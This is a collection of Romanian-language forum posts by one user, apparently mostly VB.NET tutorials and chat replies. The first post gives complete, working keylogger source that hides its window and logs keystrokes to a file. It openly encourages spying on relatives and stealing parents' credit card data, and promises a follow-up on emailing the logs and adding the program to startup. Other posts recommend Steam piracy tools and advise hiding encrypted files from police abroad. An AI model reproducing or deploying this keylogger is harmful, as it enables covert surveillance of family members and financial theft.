raynor009

Vad ca este in forma fata isi mentine investitia.

Nu prea am ce sa va explic, codul este destul de simplu, chiar si cineva fara experienta l-ar intelege. Am sa adaug comentari in codul sursa ca sa intelegi ce si cum. Ce avem nevoie: 1 buton - schimbam numele in "btnHide" 1 textbox - schimbam numele in "tbLog" 2 timere => schimbam numele la Timer1 in "timerKeys" si selectam "Enabled" iar intervalul 2. Pentru Timer2 ii dam numele "timerSave" si selectam "Enabled" iar intervalul va fi 10000 (10 secunde). Option Strict On Public Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick Dim result As Integer Dim key As String Dim i As Integer For i = 2 To 90 result = 0 result = GetAsynckeyState(i) If result = -32767 Then key = Chr(i) If i = 13 Then key = vbNewLine [COLOR="#FF0000"]// Atunci cand apasa space sau pointeru trece la o noua linee lafel face si programul[/COLOR] Exit For End If Next i If key <> Nothing Then If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then [COLOR="#FF0000"]// Atunci cand este apasat capslock sau shift ca sa scrie cu litere mari programul va sti sa copieze la fel[/COLOR] tbLog.Text &= key Else tbLog.Text &= key.ToLower End If End If If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "a" Then Me.Show() [COLOR="#FF0000"]// Cand apesi Ctrl+Alt+A programul o sa apara[/COLOR] End If End Sub Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click Me.Hide() End Sub Private Sub timerSave_Tick() Handles timerSave.Tick My.Computer.FileSystem.WriteAllText("C:\Log\Log.txt", tbLog.Text, True) [COLOR="#FF0000"]// Salveaza fisierul in locatia pe care o doriti[/COLOR] tbLog.Clear() End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load tbLog.Text = "Inregistreaza de la ora: " & Now & vbNewLine End Sub End Class Bafta la programare. In urmatorul tutorial am sa va arat cum sa facem sa primim logurile prin FTP sau Email si cum sa se adauge la Startup. Deocamdata este bun daca vreti sa spionatii copii,fratii,nepotii care folosesc acelasi calculator sau simplu vreti sa imprumutati datele cartilor de credit a parintilor(la mine o mers). SURSA:

Auzi la asta ma ) un cd key dead island costa 60 de centi sau mai putin iar portal 2 cd key cam a 3-4 dolari.

folositi ma PacSteam sau Green Luma ca alea sunt cele mai bune. EDIT: Nu prea imi dau seama ce cauta asta la programare frate.

Interesant ma inregistrez si eu cand o sa fie deschis siteu. Eu inca ma tot chinui cu adf.ly sa fac ceva dar nu iese.

Emailu verificat? Steam Guard ON? De obicei se pune si poza cu vac status.... sau lasane linku de la profil sa verificam noi.

pacat ca este in germana

Salut, astazi am decis sa ma joc putin cu TextBoxurile mai specific am inceput sa atribui unui TextBox un sir de cuvinte care au puterea de a influenta programul. Hai sa va exemplific. Pentru inceput cream un proiect nou WindowsFormsApplications si adaugam un TextBox si un Buton. Setati ca butonul sa fie ascuns. Acum dublu click pe TextBox1 si adaugam urmatorul cod: If TextBox1.Text.Contains("arata") Then Button1.Show() Ce am facut acum. I-am spus TextBoxului ca atunci cand scriu cuvantul "arata" vreau ca Button1 sa apara. Destul de simplu nu? Hai sa facem ca sa primim si un mesaj. If TextBox1.Text.Contains("arata") Then Button1.Show() If TextBox1.Text.Contains("arata") Then MsgBox("buton dezvaluit") Si ca sa il ascundem iar: If TextBox1.Text.Contains("ascunde") Then Button1.Hide() If TextBox1.Text.Contains("ascunde") Then MsgBox("buton ascuns") Se poate folosi ca sa si inchidem aplicatia: If TextBox1.Text.Contains("inchide) Then Me.Close Posibilitatie sunt nenumarate. Sper ca ati invat ceva si ne vedem la anul. An nou fericit!

"Un poster cu Fuego a inceput sa lacrimeze" )))

Salut, astazi am sa va arat cum sa facem ca progresbarul nostru sa fie vertical. Metoda este foarte simpla si se aplica folosind un simplu class. Sa incepem. Creati un nou WindowsFormsApplications si dupaia adaugati un class /Project/Add Class . In class stergeti tot si dati Copy & Paste (ca asa ii misto) la codul meu: Imports System Imports System.Windows.Forms Public Class [COLOR="#FF0000"]raynor009VerticalProgressBar[/COLOR] // Acesta va fi numele noului coponent Inherits ProgressBar Protected Overloads Overrides ReadOnly Property CreateParams() As CreateParams Get Dim cp As CreateParams = MyBase.CreateParams cp.Style = cp.Style Or &H4 Return cp End Get End Property End Class Dupa ce ati facut asta dam un Debug si dupa ce oprim programul in ToolBox o sa va apara o categorie noua cu componentul raynor009VerticalProgressBar sau ce nume i-ati dat voi. Ca sa vedem daca merge adaugam noul progresbar un form si mai adaugam un buton. La buton adaugam urmatorul cod: If Raynor009VerticalProgressBar1.Value = Raynor009VerticalProgressBar1.Value + 10 Dam debug si cand apasam butonul in loc ca bara aia verde sa mearga in dreapa va incepe sa urce tot mai sus. Sper ca va fost de folos si ati invat ceva nou. Bafta la programare si ne vedem in tutorialul urmator.

Cand am vazut ce destepti sunt oamenii aia am inceput sa ma simt destul de prost.

Salut astazi am sa va arat cum sa folositi module (Modules) . Inainte sa incepem am sa va spun ceva despre aceste module. Modulele sunt folosite pentru a stoca inauntru variabile,functii, deci pe scurt sa zicem ca aplicatia voasta este foarte avansata si la un moment dat nu prea mai aveti spatiu pentru codat. Atunci creati un modul pe care aplicatia voastra il va accesa in momentul in care utilizatorul va folosi acea functie. Modulele sunt diferite fata de clase pentru ca toati membri unui modul impart cantitatea de date. C-am complicat nu ? Hai sa va arat un exemplu. Ca sa va fac sa intelegeti mai bine despre ce vorbesc eu am sa creez un calculator foarte simplu. Ce avem nevoie ? -1 buton -2 label -3 textbox-uri Eu l-eam asezat in modul acesta dar voi puteti sa le puneti cum vreti atata timp cat la sfarsitul tutorialului sa aveti acelasi rezultat ca si mine. Uploaded with ImageShack.us Asa, pentru inceput vom adauga un modul nou /Project/Add Module , eu i-am dat numele "caculator" voi puteti sa lasati si numele predefinit nu are importanta. Si acum sa trecem la cod: Module calculator Private Function addnumbers(ByVal number1 As Integer, ByVal number2 As Integer) Return number1 + number2 End Function End Module Odata ce am terminat cu modulul o sa scriem urmatorul cod pentru buton. Public Class Form1 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click TextBox3.Text = addnumbers(TextBox1.Text, TextBox2.Text) End Sub End Class Daca ati facut tot ce am facut eu pana acuma ar trebui sa aveti o eroare de genul urmator: Dece v-am pus sa scrieti codurile de mai sus daca stiam ca va rezulta in eroare ? Ce vreau sa va fac sa intelegeti ? Eroarea de mai sus incearca sa ne spuna ca noi defapt nu am declarat functia de mai sus desi am facuto. Daca va amintiti la inceputul acestui tutorial vam spus ca modulele impart datele. Ca sa scapam de eroare mergem inapoi la modulul nostru si in loc de Private Function vom scrie Public Function . Ce am facut acum? Schimbat din Private in Public practic am dat voie la Form1 sa accese acel modul ca sa poata folosi functiile stocate in el. Ca sa facem un mic test dam un debug si in prima casuta scriem 1 iar in a-2a casuta scriem tot 1 si apasam pe calculeaza = 2 (1+1=2 DUH!) Acelasi lucru este si cand trebuie sa declarati ceva: MODUL Module calculator Dim nr1 As Integer = 997 Dim nr2 As Integer = 997 Public Function addnumbers(ByVal number1 As Integer, ByVal number2 As Integer) Return number1 + number2 End Function End Module Si pentru buton: Public Class Form1 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click TextBox3.Text = addnumbers(nr1, nr2) End Sub End Class Si din nou o sa primim eroarea aia enervanta ca nu am declarat averile la nr1 si nr2 . Deci mergem inapoi la modulul nostru si in loc de Dim punem Public . Dam un debug apasam pe calculeaza si vom obtine rezultatul de 1994 . Atat am sa va explic azi sper sa va fie de folos. Ne vedem in urmatorul tutorial si bafta la programare. Era sa uit daca vreti sa fie mai interesant ca tema de casa trebuie sa folositi ce ati invatat aici intrun program pe care l-ati facut voi dupa care postati sursa aici sau imi dati un PM

stiam ca era o chestie de genu asta daia am si dat pe mute si am trecut direct la sfarsit

Mersi ma vroiam ceva cu HTML si XHTML in romana.

daia tin eu calculatoru dezvelit in caz ca vine garda la usa smulg hardu si dau cu el pe geam ) si am rezolvat

Serios imi dai si mie linkul de la video?

No dute ma in pula me de mincinos ca tu minti ca o chitra Win32/Heur

Eu am lucrat UDK in trecut am facut un joculet cu un prieten. Presupun ca daca o sa lucrezi cu UDK vei fi nevoit sa faci si modele 3D. Asa ca iti recomand cu caldura ori Wings 3D ori Autodesk 3DS Max. Wings nu este deloc complicat si unul fara experienta in domeniul asta il poate folosi din prima si este gratis iar 3DS Max este un program profesional cu sute de unelte si ceva mai greu de folosit dar dupa ce ii prinzi mersul o sa iti fie foarte usor. Dar din cate imi amintesc UDK parca iti pune la dispozitie cateva tutoriale destul de simple. Si inca ceva poti lua 3DS Max cu licenta de student care iti da acces la toate uneltele si ce mai are el pacolo. Licenta este gratis trebuie doar sa iti faci un cont.

Eu asi spune sa iti uploadezi fisierele criptate pe un host extern de preferabil o tara care practica extradarea spre exemplu Mother Russia(avand in vedere ca esti si rus) acuma cu TrueCrypt si scamatorii dinastea magice eu nu le am spun si eu ce am citit pe internet. Iar faza cu gaborii ca tio da in bot de te saturi este pe cat se poate de adevarata. Tata a fost politist si imi amintesc ca de craciun ma ducea la el la serviciu iar seful sectiei sa costuma in mos si dadea bomboane,ciocolata etc. Si imi aduc amintesc cum au adus un baiat nu cred ca avea mai mult de 20 de ani si l-au batut pana a cazut jos depe scaun. Pararea mea este ca dupa ce iti ei odata o bateie de genu asta iti trebuie "coaie" ca sa continui sa spui ca nu stiu parola sau am uitato.

Eu am incercat sa il hexoresc ) ca sa spuna asa cu VB.NET am incercat tot ce se putea. Dar nu am reusit.

Un tutorial scurt si extrem de simplu despre cum putem schimba interfata unui Form cu ajutorul unui Class. Sa incepem: -Pornim VB si facem un proiect nou ( WindowsFormsApplication) -Odata ce am facut asta mergem sus la "Project" si adaugam un "Class". -Dupa ce ati adaugat un nou "Class" stergem tot ce este in el si adaugam urmatorul cod: Imports System.Drawing.Drawing2D Class FutureTheme Inherits Control Protected Overrides Sub OnHandleCreated(ByVal e As EventArgs) Dock = DockStyle.Fill If TypeOf Parent Is Form Then With DirectCast(Parent, Form) .FormBorderStyle = 0 .BackColor = C1 .ForeColor = Color.FromArgb(12, 12, 12) End With End If MyBase.OnHandleCreated(e) End Sub Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs) If New Rectangle(Parent.Location.X, Parent.Location.Y, Width, 22).IntersectsWith(New Rectangle(MousePosition.X, MousePosition.Y, 1, 1)) Then Capture = False Dim M As Message = Message.Create(Parent.Handle, 161, New IntPtr(2), IntPtr.Zero) DefWndProc(M) End If MyBase.OnMouseDown(e) End Sub Dim G As Graphics, B As Bitmap, R1, R2 As Rectangle Dim C1, C2, C3 As Color, P1, P2, P3 As Pen, B1 As SolidBrush, B2, B3 As LinearGradientBrush Sub New() SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint, True) C1 = Color.FromArgb(34, 34, 34) 'Background C2 = Color.FromArgb(49, 49, 49) 'Highlight C3 = Color.FromArgb(22, 22, 22) 'Shadow P1 = New Pen(Color.Black) 'Border P2 = New Pen(C1) P3 = New Pen(C2) B1 = New SolidBrush(C2) Font = New Font("Verdana", 7.0F, FontStyle.Bold) End Sub Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) If Height > 0 Then R1 = New Rectangle(0, 2, Width, 18) R2 = New Rectangle(0, 21, Width, 10) B2 = New LinearGradientBrush(R1, C1, C3, 90.0F) B3 = New LinearGradientBrush(R2, Color.FromArgb(70, 0, 0, 0), Color.Transparent, 90.0F) Invalidate() End If MyBase.OnSizeChanged(e) End Sub Protected Overrides Sub OnPaintBackground(ByVal pevent As PaintEventArgs) End Sub Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) B = New Bitmap(Width, Height) G = Graphics.FromImage( G.Clear(C1) For I As Integer = 0 To Width + 17 Step 4 G.DrawLine(P1, I, 21, I - 17, 37) G.DrawLine(P1, I - 1, 21, I - 16, 37) Next G.FillRectangle(B3, R2) G.FillRectangle(B2, R1) G.DrawString(Text, Font, B1, 5, 5) G.DrawRectangle(P2, 1, 1, Width - 3, 19) G.DrawRectangle(P3, 1, 39, Width - 3, Height - 41) G.DrawRectangle(P1, 0, 0, Width - 1, Height - 1) G.DrawLine(P1, 0, 21, Width, 21) G.DrawLine(P1, 0, 38, Width, 38) e.Graphics.DrawImage(B, 0, 0) G.Dispose() B.Dispose() End Sub End Class Class FutureButton Inherits Control Dim B As Bitmap, G As Graphics, R1 As Rectangle Dim C1, C2, C3, C4 As Color, P1, P2, P3, P4 As Pen, B1, B2, B5 As Brush, B3, B4 As LinearGradientBrush Sub New() SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint, True) C1 = Color.FromArgb(34, 34, 34) 'Background C2 = Color.FromArgb(49, 49, 49) 'Highlight C3 = Color.FromArgb(39, 39, 39) 'Lesser Highlight C4 = Color.FromArgb(60, Color.Black) P1 = New Pen(Color.FromArgb(22, 22, 22)) 'Shadow P2 = New Pen(Color.FromArgb(20, Color.White)) P3 = New Pen(Color.FromArgb(10, Color.White)) P4 = New Pen(Color.FromArgb(30, Color.Black)) B1 = New SolidBrush(C1) B2 = New SolidBrush(C3) B5 = New SolidBrush(Color.FromArgb(12, 12, 12)) 'Text Color Font = New Font("Verdana", 8.0F) End Sub Private State As Integer Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) State = 0 Invalidate() End Sub Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) State = 1 Invalidate() End Sub Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) State = 1 Invalidate() End Sub Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) State = 2 Invalidate() End Sub Protected Overrides Sub OnResize(ByVal e As EventArgs) R1 = New Rectangle(2, 2, Width - 4, 4) B3 = New LinearGradientBrush(ClientRectangle, C3, C2, 90.0F) B4 = New LinearGradientBrush(R1, C4, Color.Transparent, 90.0F) Invalidate() End Sub Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) B = New Bitmap(Width, Height) G = Graphics.FromImage( G.FillRectangle(B3, ClientRectangle) Select Case State Case 0 'Up G.FillRectangle(B1, 1, 1, Width - 2, Height - 2) G.DrawLine(P2, 2, 2, Width - 3, 2) G.DrawLine(P3, 2, Height - 3, Width - 3, Height - 3) Case 1 'Over G.FillRectangle(B2, 1, 1, Width - 2, Height - 2) G.DrawLine(P2, 2, 2, Width - 3, 2) G.DrawLine(P3, 2, Height - 3, Width - 3, Height - 3) Case 2 'Down G.FillRectangle(B2, 1, 1, Width - 2, Height - 2) G.FillRectangle(B4, R1) G.DrawLine(P4, 2, 2, 2, Height - 3) End Select Dim S As SizeF = G.MeasureString(Text, Font) G.DrawString(Text, Font, B5, Convert.ToInt32(Width / 2 - S.Width / 2), Convert.ToInt32(Height / 2 - S.Height / 2)) G.DrawRectangle(P1, 1, 1, Width - 3, Height - 3) e.Graphics.DrawImage(B, 0, 0) G.Dispose() B.Dispose() End Sub Protected Overrides Sub OnPaintBackground(ByVal e As PaintEventArgs) End Sub End Class Class FutureProgressBar Inherits Control #Region " Properties " Private _Maximum As Double = 100 Public Property Maximum() As Double Get Return _Maximum End Get Set(ByVal v As Double) _Maximum = v Progress = _Current / v * 100 Invalidate() End Set End Property Private _Current As Double Public Property Current() As Double Get Return _Current End Get Set(ByVal v As Double) _Current = v Progress = v / _Maximum * 100 Invalidate() End Set End Property Private _Progress As Integer Public Property Progress() As Double Get Return _Progress End Get Set(ByVal v As Double) If v < 0 Then v = 0 Else If v > 100 Then v = 100 _Progress = Convert.ToInt32(v) _Current = v * 0.01 * _Maximum If Width > 0 Then UpdateProgress() Invalidate() End Set End Property Dim C2 As Color = Color.FromArgb(6, 96, 149) 'Dark Color Public Property Color1() As Color Get Return C2 End Get Set(ByVal v As Color) C2 = v UpdateColors() Invalidate() End Set End Property Dim C3 As Color = Color.FromArgb(70, 167, 220) 'Light color Public Property Color2() As Color Get Return C3 End Get Set(ByVal v As Color) C3 = v UpdateColors() Invalidate() End Set End Property #End Region Protected Overrides Sub OnPaintBackground(ByVal pevent As PaintEventArgs) End Sub Dim G As Graphics, B As Bitmap, R1, R2 As Rectangle, X As ColorBlend Dim C1 As Color, P1, P2, P3 As Pen, B1, B2 As LinearGradientBrush, B3 As SolidBrush Sub New() C1 = Color.FromArgb(22, 22, 22) 'Background P1 = New Pen(Color.FromArgb(70, Color.White), 2) P2 = New Pen(C2) P3 = New Pen(Color.FromArgb(49, 49, 49)) 'Highlight B3 = New SolidBrush(Color.FromArgb(100, Color.White)) X = New ColorBlend(4) X.Colors = New Color() {C2, C3, C3, C2} X.Positions = New Single() {0.0F, 0.1F, 0.9F, 1.0F} R2 = New Rectangle(2, 2, 2, 2) B2 = New LinearGradientBrush(R2, Nothing, Nothing, 180.0F) B2.InterpolationColors = X End Sub Sub UpdateColors() P2.Color = C2 X.Colors = New Color() {C2, C3, C3, C2} B2.InterpolationColors = X End Sub Protected Overrides Sub OnSizeChanged(ByVal e As System.EventArgs) R1 = New Rectangle(0, 1, Width, 4) B1 = New LinearGradientBrush(R1, Color.FromArgb(60, Color.Black), Color.Transparent, 90.0F) UpdateProgress() Invalidate() MyBase.OnSizeChanged(e) End Sub Sub UpdateProgress() If _Progress = 0 Then Return R2 = New Rectangle(2, 2, Convert.ToInt32((Width - 4) * (_Progress * 0.01)), Height - 4) B2 = New LinearGradientBrush(R2, Nothing, Nothing, 180.0F) B2.InterpolationColors = X End Sub Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) B = New Bitmap(Width, Height) G = Graphics.FromImage( G.Clear(C1) G.FillRectangle(B1, R1) If _Progress > 0 Then G.FillRectangle(B2, R2) G.FillRectangle(B3, 2, 3, R2.Width, 4) G.DrawRectangle(P1, 4, 4, R2.Width - 4, Height - 8) G.DrawRectangle(P2, 2, 2, R2.Width - 1, Height - 5) End If G.DrawRectangle(P3, 0, 0, Width - 1, Height - 1) e.Graphics.DrawImage(B, 0, 0) G.Dispose() B.Dispose() End Sub End Class Class FutureSeperator Inherits Control Private _Orientation As Orientation Public Property Orientation() As Orientation Get Return _Orientation End Get Set(ByVal v As Orientation) _Orientation = v UpdateOffset() Invalidate() End Set End Property Dim G As Graphics, B As Bitmap, I As Integer Dim C1 As Color, P1, P2 As Pen Sub New() SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint, True) C1 = Color.FromArgb(34, 34, 34) 'Background P1 = New Pen(Color.FromArgb(22, 22, 22)) 'Shadow P2 = New Pen(Color.FromArgb(49, 49, 49)) 'Highlight End Sub Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) UpdateOffset() MyBase.OnSizeChanged(e) End Sub Sub UpdateOffset() I = Convert.ToInt32(If(_Orientation = 0, Height / 2 - 1, Width / 2 - 1)) End Sub Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) B = New Bitmap(Width, Height) G = Graphics.FromImage( G.Clear(C1) If _Orientation = 0 Then G.DrawLine(P1, 0, I, Width, I) G.DrawLine(P2, 0, I + 1, Width, I + 1) Else G.DrawLine(P2, I, 0, I, Height) G.DrawLine(P1, I + 1, 0, I + 1, Height) End If e.Graphics.DrawImage(B, 0, 0) G.Dispose() B.Dispose() End Sub Protected Overrides Sub OnPaintBackground(ByVal pevent As PaintEventArgs) End Sub End Class Acuma ca sa avem parte de noile schimbari dam click odata "Start Debugging" sau apasam simplu F5.Odata ce am pornit pentru prima oara programul il inchidem. Acum in "Toolbox" in partea de sus o sa apara o noua categorie cu urmatoarele: -Pointer -FutureButton -FutureProgressbar - La ProgressBar se pot schimba culorile in Color1(Funda) si Color(Cea peste fundal) -FutureSeperator -FutureTheme Inainte sa inchei vreau sa spun ca nu eu am facut acea interfata deci nu imi apartine. Din pacate nu cunosc autorul ei asa ca nu am cui sa dau credite. Sper sa va fie de folos si bafta la programare.

no no io furat addonsu la conter strikat alai bai mare ))) acuma mergem si chemam SRI-u sa ii sparga la ala site-u si sa iti recupereze addonu.

Primul meu PC a fost clasa a-2a eram cel mai bengos de la bloc ))) nu mai tin minte ce avea dar stiu ca era un Pentium 4 parca 1ghz procesoru,256 mb ram,128 placa video si 60 gb hdd am dat pe el 15 milioane parca mi sa stricat doar de 2 ori.Il folosesc si azi pe post de server.Primul meu joc a fost Duke Nukem 3D dupaia Dyna,Doom 2,Bomberban,DXBall,Counter-Strike 1.5,Half-Life,Hitman Codename 47,Gothic,Fallout 1 si 2 stiu ca ii dadeam la profesoru de informatica 50 de mii si imi facea un CD cu ce jocuri vroiam ) ce vremuri... Am uitat sa mentionez ca a rulat Windows 98 pana in 2006 dupaia am trecut la XP.

eu nu inteleg ce a patit ala si dece injura in halu asta

ce mincinos esti tu